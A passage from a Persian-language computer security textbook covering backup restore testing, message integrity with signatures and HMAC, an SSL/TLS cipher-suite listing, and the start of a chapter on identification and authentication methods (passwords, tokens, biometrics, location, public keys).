هر از چندگاه باید سعی کنید بطور تصادفی چند فایل را برای احیا از پشتیبان بخوانید تا مطمئن شوید که تجهیزات و نرم‌افزار شما بدرستی کار می‌کنند. داستانهای زیادی دربارهٔ مراکز رایانه‌ای وجود دارد که دیسک‌گردانهای خود را از دست داده‌اند و وقتی سراغ نوارهای پشتیبان خود رفته‌اند، آنها را غیرقابل خواندن یافته‌اند. این اتفاق می‌تواند نتیجهٔ نوارهای بی‌کیفیت، روالهای نامناسب پشتیبان‌گیری، نرم‌افزار خراب، خطای اپراتور، یا مشکلات دیگر باشد.

---

121 U.S. National Aeronautics and Space Administration
122 Tandem Backup

حداقل یکبار در سال باید سعی کنید کل سیستم خود را از پشتیبانها احیا کنید تا مطمئن شوید که سیستم پشتیبان شما بدرستی کار می‌کند. با یک رایانهٔ متفاوت و پیکربندی‌نشده شروع کنید و ببینید که آیا می‌توانید تمام نوارهای خود را احیا کنید و رایانه را بکار اندازید یا نه. گاهی اوقات متوجه می‌شوید که بعضی از فایلهای مهم در نوارهای پشتیبان شما از دست رفته‌اند. این آزمایشهای عملی بهترین زمان برای کشف مشکلات و حل آنها هستند.

یک آزمایش بسیار مناسب، انتخاب یک فایل بطور تصادفی یکبار در هفته یا یکبار در ماه و تلاش برای احیای مجدد آن است. اینکار نه تنها مشخص خواهد کرد که پشتیبانها جامع هستند، بلکه تجربه این احیاها ممکن است عملیات احیای واقعی را بسیار ساده‌تر کند.

بحث مفصل دربارهٔ سیستمهای پشتیبان و احیا می‌تواند موضوع یک کتاب مجزا باشد – کتاب *کورتیس پریستون*[۱۲۳]، *پشتیبان‌گیری و ترمیم Unix*[۱۲۴] که توسط انتشارات اوریلی به چاپ رسیده یک نمونهٔ عالی است.

یکپارچگی انتقال

رمزنگاری یک راهکار ارائه می‌دهد برای کسب اطمینان از اینکه وقتی داده‌ای را روی شبکه برای شخص دیگری می‌فرستید، گیرنده آنرا همانطور که شما فرستاده‌اید – محافظت‌شده از خرابی تصادفی یا سوء استفادهٔ عمدی – دریافت می‌کند. یک استراتژی متداول شامل امضای فایل بصورت دیجیتالی – با محاسبهٔ یک خلاصهٔ رمزشده و رمزگذاری خلاصه با یک الگوریتم متقارن یا نامتقارن – و سپس ارسال آن به همراه فایل (که ممکن است خودش هم بدلیل محرمانگی رمزگذاری شده باشد) است. گیرنده خلاصه را از روی فایل مجدداً محاسبه کرده و سپس خلاصهٔ ارسال‌شده را رمزگشایی می‌کند. اگر ایندو مطابقت کردند، یکپارچگی پیام تضمین شده است.

تابع *hash تصدیق پیام*[۱۲۵] (HMAC) روش دیگری برای تأیید یکپارچگی پیامی انتقال‌یافته بین دو طرف که روی یک کلید رمزی مشترک با هم توافق کرده‌اند می‌باشد. HMAC پیام اصلی و یک کلید را برای محاسبهٔ یک تابع خلاصه‌پیام از هر دوی اینها ترکیب می‌کند. گاهی اوقات اطلاعات اضافی مثل شماره‌های سری پروتکل نیز گنجانده می‌شود تا حملات واکنشی را خنثی کند. فرستندهٔ پیام، HMAC، کلید، و هر اطلاعات اضافه را محاسبه کرده و HMAC را به همراه پیام اصلی انتقال می‌دهد. گیرنده با استفاده از پیام و کپی خود از کلید رمز، HMAC را مجدداً محاسبه می‌کند (به همراه اطلاعات اضافه، مثل شمارهٔ سری مورد انتظار)، و سپس HMAC محاسبه شده را با HMAC دریافت شده مقایسه می‌کند تا ببینند که آیا مطابقت دارند یا خیر، و اگر مطابقت داشته باشند، آنگاه چون خلاصه‌پیام عوض نشده، گیرنده خواهد دانست که پیام اصلی تغییر پیدا نکرده است.

معمولاً HMACها برای مقاوم کردن پیامهای پروتکلهای شبکه در مقابل سوء استفاده بکار می‌روند، چون به نسبت امضاهای دیجیتالی بسیار سریعتر محاسبه می‌شوند و همچنین از نظر اندازه کوچکتر هستند. علیرغم این موارد، HMACها بر اساس یک کلید مشترک پایه‌گذاری شده‌اند که باید از خطر محافظت شود، درحالیکه امضاهای دیجیتالی معمولاً با سیستمهای کلید عمومی کار می‌کنند. چندین پروتکل رمزنگاری عمومی برای ایمن‌سازی اتصالات شبکه ساخته شده‌اند. این پروتکلها معمولاً از ترکیب الگوریتمهای رمزنگاری ساخته شده‌اند تا مبادلهٔ کلید، تصدیق هویت، رمزگذاری، و تصدیق صحت پیام را پشتیبانی کنند، به اضافهٔ مشخصات اینکه یک سرویس‌گیرنده و یک سرویس‌دهنده چگونه در مورد الگوریتمها، استوارنامه‌های تبادلی و کلیدهای جلسه به توافق خواهند رسید. برای مثال پروتکل SSL/TLS از این ترکیبات الگوریتمها پشتیبانی می‌کند:

```
EDH-RSA-DES-CBC3-SHA SSLv3 Kx=DH       Au=RSA Enc=3DES(168) Mac=SHA1
EDH-DSS-DES-CBC3-SHA SSLv3 Kx=DH       Au=DSS Enc=3DES(168) Mac=SHA1
DES-CBC3-SHA         SSLv3 Kx=RSA      Au=RSA Enc=3DES(168) Mac=SHA1
```

123 *W. Curtis Preston*
124 *Unix Backup And Recovery*
125 *Hash Message Authentication Code*

DHE-DSS-RC4-SHA SSLv3 Kx=DH Au=DSS Enc=RC4(128) Mac=SHA1
RC4-SHA SSLv3 Kx=RSA Au=RSA Enc=RC4(128) Mac=SHA1
RC4-MD5 SSLv3 Kx=RSA Au=RSA Enc=RC4(128) Mac=MD5
EXP1024-DHE-DSS-RC4-SHA SSLv3 Kx=DH(1024) Au=DSS Enc=RC4(56) Mac=SHA1 export
EXP1024-RC4-SHA SSLv3 Kx=RSA(1024) Au=RSA Enc=RC4(56) Mac=SHA1 export
EXP1024-DHE-DSS-DES-CBC-SHA SSLv3 Kx=DH(1024) Au=DSS Enc=DES(56) Mac=SHA1 export
EXP1024-DES-CBC-SHA SSLv3 Kx=RSA(1024) Au=RSA Enc=DES(56) Mac=SHA1 export
EXP1024-RC2-CBC-MD5 SSLv3 Kx=RSA(1024) Au=RSA Enc=RC2(56) Mac=MD5 export
EXP1024-RC4-MD5 SSLv3 Kx=RSA(1024) Au=RSA Enc=RC4(56) Mac=MD5 export
EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH Au=RSA Enc=DES(56) Mac=SHA1
EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH Au=DSS Enc=DES(56) Mac=SHA1
DES-CBC-SHA SSLv3 Kx=RSA Au=RSA Enc=DES(56) Mac=SHA1
EXP-EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH(512) Au=RSA Enc=DES(40) Mac=SHA1 export
EXP-EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH(512) Au=DSS Enc=DES(40) Mac=SHA1 export
EXP-DES-CBC-SHA SSLv3 Kx=RSA(512) Au=RSA Enc=DES(40) Mac=SHA1 export
EXP-RC2-CBC-MD5 SSLv3 Kx=RSA(512) Au=RSA Enc=RC2(40) Mac=MD5 export
EXP-RC4-MD5 SSLv3 Kx=RSA(512) Au=RSA Enc=RC4(40) Mac=MD5 export

هر ترکیبِ الگوریتم، یک الگوریتم را برای استفاده جهت مبادلهٔ کلید (Kx، که می‌تواند Diffi-Hellman یـا RSA باشـد)، تـصدیق هویـت (Au، که می‌تواند RSA یا DSS باشد)، رمزگذاری (Enc، که می‌تواند DES، DES سه‌گانه، RC4، یا RC2 با طول کلیـد معـین باشـد)، و کـدهای دسترسی به پیام (Mac، که می‌تواند SHA1 یا MD5 باشد) مشخص می‌کند.

فصل پنجم
شناسایی و تصدیق هویت

کلیات

شناسایی ارتباط دادن یک هویت با یک موضوع است. تصدیق هویت، اعتبار یک هویت را به اثبات می‌رساند؛ و تصدیق اختیار، ارتباط دادن حقوق یا امتیازات با یک هویت می‌باشد. این فصل روی دو مفهوم بالا تأکید دارد. شناسایی و تصدیق هویت ممکن است به تنهایی بوسیلهٔ یک ایستگاه کاری که فرد از آن استفاده می‌کند انجام شود، یا ممکن است یک سیستم مبتنی بر شبکه تصدیق هویت را بر عهده داشته باشد که در آن هویتهای کاربران در یک سرویس‌دهنده مرکزی ذخیره شده و توسط گروههای سرویس‌گیرنده‌ها به اشتراک گذاشته شده است.

فنون شناسایی

رایانه‌ها سیستمهای شناسایی مختلفی را بکار می‌برند. ساده‌ترین آنها بر اساس اسامی کاربری و رمزهای عبور کار می‌کنند، و بقیه بر اساس سخت‌افزارهای مخصوصی هستند که می‌توانند مشخصات ممیزهٔ انسانهای مختلف را بسنجند. سیستمهایی نیز وجود دارند که بر اساس رمزنگاری کلید عمومی کار می‌کنند.

هیچیک از تکنیکهای شناسایی اینگونه نیستند که هرگز نتوان آنها را به اشتباه انداخت و از سدشان عبور کرد؛ و البته خوشبختانه اکثر آنها نیازی ندارند که اینگونه باشند. هدف اکثر سیستمهای شناسایی غیرممکن کردن جعل هویت نیست، بلکه کاهش مخاطرهٔ جعل هویت و میزان خسارتهای وارده به یک سطح قابل قبول است. یک هدف مهم دیگر سیستمهای شناسایی تعیین کمی مقدار مخاطره‌ای است که بعد از استقرار سیستم هنوز باقی مانده است؛ چراکه تعیین کمی مقدار مخاطرهٔ باقیمانده باعث می‌شود که سازمان بتواند دربارهٔ سیاستها، نیاز یا تمایل به سیستمهای شناسایی جایگزین، و حتی میزان پوشش لازم بیمه برای حفاظت در مقابل احتمال وقوع کلاهبرداری تصمیم بگیرد.

شناسایی فیزیکی

به یک فرودگاه بین‌المللی پرواز کنید و کارت اعتباری خود را روی دستگاه اعتباری یک آژانس کرایهٔ ماشین بکشید، آنگاه می‌توانید با یک ماشین که شاید بیش از بیست هزار دلار ارزش داشته باشد تا مقصد خود رانندگی کنید. تنها تضمینی که آژانس کرایه ماشین از شما دارد که اتومبیل آنها را بازگردانید تعهد شماست – و اطلاع از این موضوع که اگر خلف وعده کنید، آنها می‌توانند کارت اعتباری شما را باطل کنند و شما احتمالاً به زندان خواهید افتاد.

اگر آژانس کرایه شما را نمی‌شناخت، تعهد شما برای آن مفهوم خاصی نداشت. این گواهینامهٔ رانندگی، گذرنامه و یا کارت اعتباری شما است که در کنار شبکهٔ جهانی رایانه‌ای به آژانس کرایه امکان می‌دهد در عرض چند ثانیه بفهمد که آیا کارت اعتباری شما دزدی است یا خیر، و محل کارتان و شرکت بیمهٔ مربوط به آنرا از اعتمادی که به شما کرده آگاه کند.

در طراحی مدارک شناسایی چاپی، قابلیتهای ارزیابی فیزیکی آنها ملاک قرار داده شده‌اند. یک گذرنامه به این دلیل یک مدرک شناسایی خوب است که حاوی اطلاعاتی است که بطور فیزیکی قابل ارزیابی هستند (جنس، قد، وزن، عکس، امضا)، جعل آن مشکل

است، براحتی نمی‌تواند مورد سوء استفاده قرار بگیرد، و بوسیلهٔ یک مرکز معتبر، مورد اعتماد، و مشهور صادر می‌شود که قبل از صدورِ مدرک، هویت فرد را بررسی می‌کند. برعکس، کارت عضویت در یک باشگاه روزنامه‌نگاری واجد هیچیک از این صفات نیست.

فنون شناسایی توسط رایانه

برای بیش از پنجاه سال است که شناسه‌های کاربری و رمزهای عبور بخشی از سیستمهای رایانه‌ای بسیار بزرگ هستند. حتی رایانه‌های شخصی هم که در دو دههٔ اول وجود خود فاقد رمزهای عبور بوده‌اند، اکنون به نرم‌افزارهایی مجهز شده‌اند که می‌توانند با استفاده از شناسه‌های کاربری و رمزهای عبور، دسترسیها را کنترل کنند. یک تفاوت کلیدی وجود دارد که سیستمهای مبتنی بر شناسه کاربر و رمز عبور را از سیستمهای مبتنی بر مدارک که در اوایل این فصل دربارهٔ آن بحث شد تفکیک می‌کند. هرچند اکثر مدارک شناسایی با اسم واقعی اشخاصی که باید شناسایی شوند چاپ شده‌اند، سیستمهای مبتنی بر شناسه کاربر و رمز عبور تنها علاقه‌مند به اثبات این موضوع هستند که شخصی که جلوی صفحه‌کلید نشسته کاربر مجاز یک حساب کاربری خاص است. سیستمهای سنتی مبتنی بر مدارک با شناسایی قطعی سروکار دارند، درحالیکه سیستمهای شناسه کاربر و رمز عبور با شناسایی نسبی یا احراز تداوم مجاز بودن سروکار دارند. انجام شناسایی قطعی برای یک سیستم رایانه‌ای یک عمل فوق‌العاده مشکل است. درعوض سیستمهای شناسایی نسبی زیادی بوجود آمده‌اند. افراد باتجربه در زمینهٔ امنیت رایانه معمولاً این سیستمها را بعنوان سیستمهای مبتنی بر "چیزی که می‌دانید"، "چیزی که در اختیار دارید"، و یا "آنچه که هستید" معرفی می‌کنند. بخشهای بعدی این سه روش سنتی را شرح می‌دهند، در کنار یک روش جدیدتر: "جایی که در آن قرار دارید".

سیستم‌های مبتنی بر رمز عبور: چیزی که می‌دانید

ابتدایی‌ترین سیستمهای شناسایی دیجیتالی هم بر اساس رمز عبور کار می‌کردند. در این سیستمها به هر کاربر سیستم یک شناسهٔ کاربری و یک رمز عبور داده می‌شود؛ برای اثبات هویت خود به رایانه کافی است رمز عبور را تایپ کنید. اگر رمز عبور تایپ‌شده با رمز عبوری که در رایانه ذخیره شده همخوانی داشته باشد فرض بر آن خواهد بود که فرد همان کسی است که ادعا می‌کند.

چون رمزهای عبور به آسانی می‌توانند مورد استفاده قرار گیرند و به هیچ سخت‌افزار خاصی نیاز ندارند، همچنان پر استفاده‌ترین سیستم تصدیق هویت هستند که در جهان امروز مورد استفاده قرار دارند. درنتیجهٔ این رواج زیاد، اکثر ما اکنون دهها رمز عبور داریم که تقریباً همه‌روزه باید آنها را به یاد بیاوریم؛ مواردی چون *کد شناسایی شخصی* (PINها)،[۱۲۶] رمزهای دسترسی به کارتهای ATM، کارتهای تماس از راه دور، سیستمهای پست صوتی و ماشینهای پاسخگو، بازکردن قفل تلفنهای سیار، بازکردن قفل رایانه‌های رومیزی، دستیابی به ارائه‌دهندگان سرویس اینترنت تلفنی، دریافت نامه‌های الکترونیکی، و دسترسی به پایگاههای وب. چندین مشکل در رابطه با رمزهای عبور وجود دارد که بعضی از آنها قابل رفع نیستند، که در صفحهٔ مقابل آمده‌اند.

- رمزهای عبور باید میان کاربران توزیع شوند. بعضی از سیستمها از رمزهای عبور پیش‌فرض استفاده می‌کنند تا در اولین ورود کاربر به سیستم اجازه دهند تا رمز عبور خود را تعیین کند، ولی معمولاً پیش‌فرضها دست‌نخورده باقی می‌مانند و نیز ممکن است اولین کاربر، کاربر مجاز نباشد.
- هنگامیکه رمزهای عبور به یک رایانهٔ راه دور ارسال می‌شوند ممکن است در میان راه دزدیده شوند. رمزگذاری می‌تواند این خطر را کاهش دهد، ولی اگر شخصی کد شناسایی شخصی خود را در یک دستگاه خودپرداز وارد کند و فرد دیگری از بالای شانهٔ او آنرا ببیند، آنگاه هیچ روشی برای رمزی‌سازی این شماره بگونه‌ای که آن فرد نتواند آنرا از حالت رمز در بیاورد وجود نخواهد داشت!

126 *Personal Identification Numbers*

- رمزهای عبور مناسب براحتی فراموش می‌شوند، و این مسئله باعث می‌شود که افراد آنها را یادداشت کنند، برای بسیاری از کاربردها از رمز عبور مشابه استفاده کنند، رمزهای عبور ساده‌تری انتخاب نمایند، و یا رمزهای عبور نامناسب که براحتی قابل حدس هستند را بکار برند.
- رمزهای عبور می‌توانند به اشتراک گذاشته شوند، که اینکار ممکن است به افراد غیرمجاز اجازه دهد که از منابعی که نباید، استفاده کنند.

نشان‌های فیزیکی[۱۲۷]: چیزی که آنرا در اختیار دارید

روش دیگری که افراد می‌توانند با آن هویت خود را اثبات کنند استفاده از نشانها است – اشیای فیزیکی که در اختیار داشتن آنها به نوعی هویت را اثبات می‌کند. کلید درهای ورودی برای قرنها بعنوان نشانهای دسترسی فیزیکی مورد استفاده قرار گرفته‌اند؛ در بسیاری از ساختمانهای جدید، کلیدهای فلزی با سیستمهای کارتی مغناطیسی یا مبتنی بر فرکانس رادیویی تکمیل شده‌اند. سیستمهای دسترسی کارتی بر سیستمهای کلیدی فلزی ارجحیت دارند، چون هر کارت می‌تواند یک شمارهٔ یکتا داشته باشد که به یک هویت نسبت داده شده است. سیستم در عمل فهرستی از کارتهای مجاز در اختیار دارد تا بر اساس آن درهای مختلف را باز کند. به این کارتها محدودیتهای زمانی نیز می‌توان اضافه کرد، بطوریکه مثلاً کارت یک منشی سطح پائین نتواند برای دسترسی در ساعات غیر اداری مورد استفاده قرار گیرد.

سیستمهای مبتنی بر نشانها خطمشی مخصوص به خود را دارند: چون کاربران برای دسترسی به حسابهای کاربری خود به کارتهایشان نیاز دارند، به سرعت کارتهایی که گم شده یا به سرقت رفته‌اند را گزارش می‌دهند؛ و زمانیکه یک کارت بعنوان "گمشده" در سیستم ثبت شد معمولاً غیرفعال می‌گردد و بسادگی یک کارت جدید به دارنده آن تعلق می‌گیرد. این یک بهبود برای سیستمهای مبتنی بر صفحه‌کلید است، که در آن افراد می‌توانند کدهای شناسایی شخصی خود را بدون از دست دادن دسترسی خود، میان افراد دیگر به اشتراک بگذارند.

مشابه رمزهای عبور، مشکلاتی نیز برای سیستمهای مبتنی بر نشانها وجود دارد:

- نشانها واقعاً ثابت نمی‌کنند که شما چه کسی هستید. هر کس بطور فیزیکی مالکیت نشانه‌ها را در اختیار داشته باشد می‌تواند به منطقهٔ محدودشده دسترسی پیدا کند؛
- اگر کسی یک نشان را گم کند دیگر نمی‌تواند به منطقهٔ محدودشده وارد شود، حتی اگر هویت وی تغییر نکرده باشد؛ و
- بعضی از نشانها به آسانی نسخه‌برداری یا جعل می‌شوند.

سیستمهای مبتنی بر نشانها واقعاً افراد را شناسایی و تصدیق اعتبار نمی‌کنند، بلکه نشانها را تصدیق اعتبار می‌نمایند. این موضوع بویژه هنگامیکه یک نشان به سرقت رود مشکل‌ساز می‌شود. به همین دلیل در برنامه‌های بسیار ایمن معمولاً سیستم نشانها با بعضی از ابزار دیگر شناسایی آمیخته می‌شود که این مسئله معمولاً تحت عنوان "تصدیق هویت دو عاملی" مورد اشاره قرار می‌گیرد. برای مثال برای دسترسی به یک اتاق یا یک رایانه ممکن است لازم باشد هم یک نشان ارائه کنید و هم یک رمز تصدیق اعتبار وارد سیستم نمایید. این تکنیکی است که بوسیلهٔ دستگاههای خودپرداز از آن برای تشخیص صاحبان حسابهای بانکی استفاده می‌کنند.

معیارهای زیستی: آنچه که شما هستید

سومین تکنیک که استفاده از آن بوسیلهٔ رایانه‌ها جهت تعیین هویت افراد رفته‌رفته رواج بیشتری پیدا می‌کند تهیهٔ یک معیار فیزیکی از شخص و مقایسه آن با اطلاعاتی است که قبلاً از وی ثبت شده. این تکنیک، *معیار زیستی* (بیومتریک)[۱۲۸] نامیده می‌شود،

127 *Physical Tokens*
128 *Biometric*

چون بر اساس اندازه‌گیری چیزی در مورد یک شخص زنده است. معیارهای زیستی می‌توانند انواع مختلفی داشته باشند، مثل تصاویر صورت، شبکیه، عنبیه، اثر انگشت، شکل هندسی دست، حالت صدا، دستخط، مشخصات تایپ، و یا الگوهای DNA.

فنون مبتنی بر معیارهای زیستی می‌توانند برای هر دو مورد "تشخیص بعدی" و نیز "تشخیص قطعی" مورد استفاده قرار گیرند. استفاده از این فنون برای تشخیص بعدی ساده‌تر است: اولین باری که کاربر وارد سیستم می‌شود اطلاعات بیومتریک او ثبت می‌شود. در ورودهای بعدی، بیومتریک جدید با آنچه قبلاً ثبت شده مقایسه می‌گردد. برای استفاده از معیارهای زیستی در تشخیص قطعی لازم است که یک پایگاه داده بزرگ برای تناظر نامها با بیومتریک‌ها ایجاد شود. در ایالات متحده، پلیس فدرال آمریکا (FBI) به چنین پایگاه داده‌هایی مجهز است که یکی اسامی را با اثر انگشتان و دیگری با عناصر DNA تطبیق می‌دهد.

در مقایسه با رمزهای عبور و نشانهای دسترسی، استفاده از معیارهای زیستی دو مزیت واضح دارد. آنها فراموش و یا گم نمی‌شوند، و براحتی نیز قابل به اشتراک گذاشتن، کپی‌برداری، و یا سرقت نمی‌باشند. ولی انتقال تکنولوژی بیومتریک از آزمایشگاهها به سطح بازار مشکل است. در همهٔ سیستمهای بیومتریک سطح معینی از False Positive (اشتباه مثبت) وجود دارد، که در آن سیستم تطبیقی را که نباید اعلام کند، اعلام می‌کند. مشابه این مسئله برای False Negative (اشتباه منفی) وجود دارد، که در آن سیستم اعلام می‌کند که دو بیومتریک از افراد مختلف هستند، درحالیکه از یک شخص واحد می‌باشند. برای کاهش امکان تطبیقهای اشتباه، بعضی از سیستمهای بیومتریک، معیار زیستی را با یک رمز عبور یا نشان ترکیب می‌کنند. در مورد رمزهای عبور معمولاً از کاربر خواسته می‌شود که یک کد شناسایی مخفی مثل PIN را تایپ کند و سپس یک نمونهٔ بیومتریکی، مثل حالت صدایش را ارائه دهد. سیستم از آن کد شناسایی برای بازیابی یک پروندهٔ ذخیره‌شده استفاده می‌کند، و سپس بیومتریک را با الگوی ذخیره‌شده مقایسه می‌نماید. در این روش، سیستم باید بیومتریک ارائه‌شده را – بجای تمام پایگاه داده – با تنها یکی از مقادیر معیارهای ذخیره‌شده مقایسه کند.

معیارهای زیستی دقیق نیستند؛ چراکه:

- قبل از اینکه شخص بخواهد شناسایی شود، مشخصات بیومتریکی وی باید در پایگاه دادهٔ رایانه باشد؛
- اگر پایگاه دادهٔ مشخصه‌های بیومتریکی مورد نفوذ قرار بگیرد، شناسایی بر اساس بیومتریک بی‌ارزش خواهد شد؛ و
- تا زمانیکه تجهیزات اندازه‌گیری بطور خاص حفاظت نشود، تجهیزات نسبت به کلاهبرداری و تحریف آسیب‌پذیر خواهند بود. برای مثال یک دزد باهوش ممکن است در برخورد با یک سیستم شناسایی بر اساس صدا، بتواند با ضبط کردن صدای شخص مجاز (وقتی رمز عبور خود را می‌گوید)، باز گرداندن نوار به عقب، و سپس پخش مجدد صدای ضبط شده، آن سیستم را فریب دهد.

مکان: جایی که در آن قرار دارید

با توسعهٔ سیستمهای رایانه‌ای بصورتیکه به آسانی بتوانند محل کاربران خود را معین کنند، امروزه استقرار سیستمهای تصدیق هویت مبتنی بر موقعیت امکانپذیر است. اگرچه *سیستم موقعیت‌یاب جهانی* (GPS)[۱۲۹] می‌تواند برای بدست آوردن اطلاعات محل بکار رود، اما دو مانع جدی برای استفاده از GPS در این کاربرد وجود دارد: یکی اینکه GPS معمولاً در اتاقهای دربسته کار نمی‌کند، و دیگر اینکه هیچ راهی برای دریافت ایمن اطلاعات مکانی از دریافت‌کننده GPS به سرویس راه دور که باید ارزیابی صحت را انجام دهد وجود ندارد. یک انتخاب بهتر برای سیستمهای تصدیق هویت مبتنی بر موقعیت استفاده از خدمات مکانی (مبتنی بر موقعیت) ارائه شده توسط بعضی از شبکه‌های تلفن موبایل است. با این سیستمها شبکه می‌تواند مکان کاربر را تشخیص دهد و سپس این اطلاعات را مستقیماً به مرکز خدمات گزارش کند، بدون نگرانی از امکان مورد سوء استفاده قرار گرفتن اطلاعات هنگام انجام شدن عملیات تصدیق هویت کاربر.

129 *Geographical Positioning System*

یک شکل سادهٔ تصدیق هویت بر اساس محل، داشتن رایانه یا پایانهٔ مخصوصی است که مجاز به اجرای یک عمل خاص باشد. افرادی که در مکانهای دیگر قرار دارند از داشتن چنین امتیازاتی محروم خواهند بود. تا به امروز، "موقعیت" هنوز بعنوان یک سیستم عمومی برای تصدیق هویت بکار نرفته است.

استفاده از کلیدهای عمومی برای شناسایی

تکنیکهای شناسایی و تصدیق هویت که پیشتر به آنها اشاره شد همه دارای یک نقص مشترک هستند: برای شناسایی یک فرد بصورت قابل اطمینان، آن شخص باید در مقابل رایانه یا شخصی که عملیات شناسایی را انجام می‌دهد حاضر باشد. اگر آن شخص حاضر نباشد – اگر شناسایی بوسیله تلفن، فاکس، و یا از طریق اینترنت صورت بگیرد – بدلیل امکان وقوع "حملات تکرار"، احتمال تحریف و سوء استفاده بسیار بالاست.

موقعیتی را تصور کنید که در آن یک رایانه اثر انگشت کاربر را ثبت می‌کند و رایانهٔ دیگری عملیات ارزیابی صحت را انجام می‌دهد. در اینصورت برای مهاجم این امکان وجود دارد که کد دیجیتالی اثر انگشت را هنگامیکه از روی شبکه منتقل می‌شود بدزدد. همینکه مهاجم انتقال اثر انگشت را در اختیار گرفت می‌تواند برای جعل هویت قربانی از آن استفاده کند. همانطور که گفته شد حمله‌های تکرار درحال حاضر یک تهدید جدی برای سیستمهای تشخیص دیجیتالی است.

گفتیم که رمزنگاری کلید عمومی می‌تواند احتمال خطر حملات را کاهش دهد. زمانیکه از سیستمهای کلید عمومی برای تشخیص استفاده می‌شود، کلید خصوصی برای ایجاد امضا و کلید عمومی برای تشخیص آن بکار می‌رود. چون کلید خصوصی هیچگاه از مالکیت شخصی که شناسایی می‌شود خارج نمی‌گردد – و لذا هیچگاه روی سیم فرستاده نمی‌شود – هیچ فرصتی برای مهاجم وجود ندارد که کلید خصوصی را بدزدد و از آن برای اهداف شوم خود استفاده کند.

رمزنگاری کلید عمومی می‌تواند برای تصدیق هویت، هم بصورت online و هم بصورت offline بکار رود. در حالت تصدیق هویت بصورت offline، کاربر یک پیام امضاشدهٔ دیجیتالی می‌سازد که صحت آن می‌تواند در آینده ارزیابی شود. در حالت تصدیق هویت online، کاربر بصورت *بلادرنگ*[130] بوسیلهٔ یک سرویس‌دهندهٔ راه دور تصدیق هویت می‌شود. سرویس‌دهندهٔ راه دور یک *دادهٔ مباحثه*[131] که بصورت تصادفی ایجادشده به رایانهٔ کاربر ارسال می‌کند و رایانهٔ کاربر بوسیلهٔ کلید خصوصی کاربر آنرا بصورت دیجیتالی امضا می‌کند و باز می‌گرداند، و یا در یک روش دیگر، سرویس‌دهندهٔ راه دور با کلید عمومی کاربر دادهٔ مباحثه را رمزگذاری می‌کند و دادهٔ مباحثهٔ رمزگذاری‌شده را برای کاربر ارسال می‌نماید، که با رمزگشایی و بازپس فرستادن آن بصورت رمزشده با کلید عمومی سرویس‌دهنده هویت او را به اثبات می‌رساند. بدلیل پروتکل مباحثه – پاسخ، بطور کلی سیستمهای online نسبت به سیستمهای offline از امنیت بیشتری برخوردار هستند.

کنترل و مدیریت کلیدهای خصوصی

زمانیکه یک امضای دیجیتالی برای اثبات هویت فرد بکار می‌رود، اتفاقی که می‌افتد دقیقاً اثبات هویت نیست. قادر بودن به انجام امضای معتبر اثبات نمی‌کند که شما یک شخص خاص هستید، بلکه تنها نشان می‌دهد که یک کلید خصوصی خاص در مالکیت شما است. به همین دلیل روی سرویس‌دهنده‌های کلید عمومی می‌توان کلیدهایی مربوط به "هیلاری کلینتون" و "Batman" را نیز پیدا کرد.

برای اینکه تصدیق صحت امضای دیجیتالی تبدیل به تصدیق هویت شود چندین پیش شرط باید برآورده گردد:

۱. هر جفت کلید عمومی/ کلید خصوصی باید تنها بوسیلهٔ یکنفر بکار رود.

130 *Realtime*
131 *Challenge Data*

۲. از کلید خصوصی باید بصورت ایمن نگهداری شود. در غیر اینصورت ممکن است توسط دیگران مورد سوء استفاده، دزدی، و کلاهبرداری قرار گیرد.
۳. به یک مکانیزم اطمینان نیاز است، که شخصی که هویت را ارزیابی می‌کند بتواند اعتماد کند که نام روی کلید در حقیقت نام صحیح صاحب فعلی آن کلید است.

اگر کلیدها بدون دقت ایجاد شوند، ممکن است مهاجم بتواند کلید خصوصی را از روی کلید عمومی متناظر محاسبه کند. چنانچه کلیدها بطور صحیح ذخیره نشوند، ممکن است مهاجم به آسانی بتواند کلید خصوصی را بدزدد.

هرچند در یک نگاه سطحی این قوانین ساده بنظر می‌رسند، اما پیاده‌سازی صحیح آنها بسیار دشوار است. از این بدتر اینکه معمولاً بسیار سخت است که سیستم کلید عمومی یک شرکت را ارزیابی کرد و تشخیص داد که از یک سیستم دیگر امن‌تر هست یا نیست.

برای ایجاد و ذخیرهٔ کلیدها چند روش متفاوت وجود دارد. این راهها تقریباً بترتیب کاهش ایمنی از قرار زیر هستند:

۱. یک کمک‌پردازندهٔ رمزنگاری مثل کارت هوشمند بکار برید. یک کارت هوشمند سازگار با کلید عمومی، دارای یک ریزپردازنده، یک سخت‌افزار ایجاد کنندهٔ اعداد تصادفی، و توابع مربوط به الگوریتمهای اولیهٔ کلید عمومی است، و همچنین یک حافظه دارد که می‌تواند کلیدها و گواهی‌های کلید عمومی را نگهداری کند. از لحاظ نظری کلید خصوصی هیچگاه از کارت خارج نمی‌شود. چنانچه بخواهید بخشی از اطلاعات را امضا یا رمزگشایی کنید، آن بخش از اطلاعات باید به کارت منتقل شود، و سپس جواب امضا شده یا رمزگشایی‌شده از روی کارت منتقل می‌گردد. بنابراین مهاجمین نمی‌توانند از کلید خصوصی استفاده کنند مگر آنکه خودشان مالکیت کارت هوشمند را پیدا کنند. رمزهای عبور، کدهای شناسایی، گیرنده‌های اثر انگشت، یا سایر وسایل شناسایی معیارهای زیستی می‌توانند به کارتهای هوشمند افزوده شوند تا کارت تنها درصورتی امضا را ایجاد کند که دارندهٔ کارت بوسیلهٔ کارت تصدیق هویت شده باشد.

از طرف دیگر کارتهای هوشمند بدون نقص نیستند و از بعضی جهات کاملاً شکست‌پذیر می‌باشند. اگر کارت گم شود، دزدیده شود، و یا آسیب ببیند، کلیدهای روی آن از بین می‌روند و دیگر در دسترس کاربر نیستند. بنابراین اگر کلیدهای روی کارتها قرار است برای مدت طولانی برای رمزگذاری اطلاعات بکار روند، ممکن است بخواهیم نوعی سیستم کپی کردن از روی کارت داشته باشیم تا از غیرقابل استفاده شدن کلید جلوگیری کنیم. هرچند اگر این کلیدها تنها برای امضاهای دیجیتالی بکار روند نیازی به این کارها نیست. اگر یک کلید امضا کننده گم شود، کافی است یک کلید امضا کننده جدید بوجود بیاید، و در این فرآیند هیچ اطلاعاتی از بین نمی‌رود. کارتهای هوشمند بطور کامل در مقابل سوء استفاده ایمن نیستند. کارتهای هوشمند رمزنگاری سیستم‌عاملهای کوچکی اجرا می‌کنند: نقایص این سیستم‌عاملها می‌تواند منجر به سوء استفادهٔ از کلید شود. همچنین می‌توان بصورت فیزیکی یک کارت را تحلیل کرد و کلیدهای روی آنرا بازیابی نمود. در هر صورت 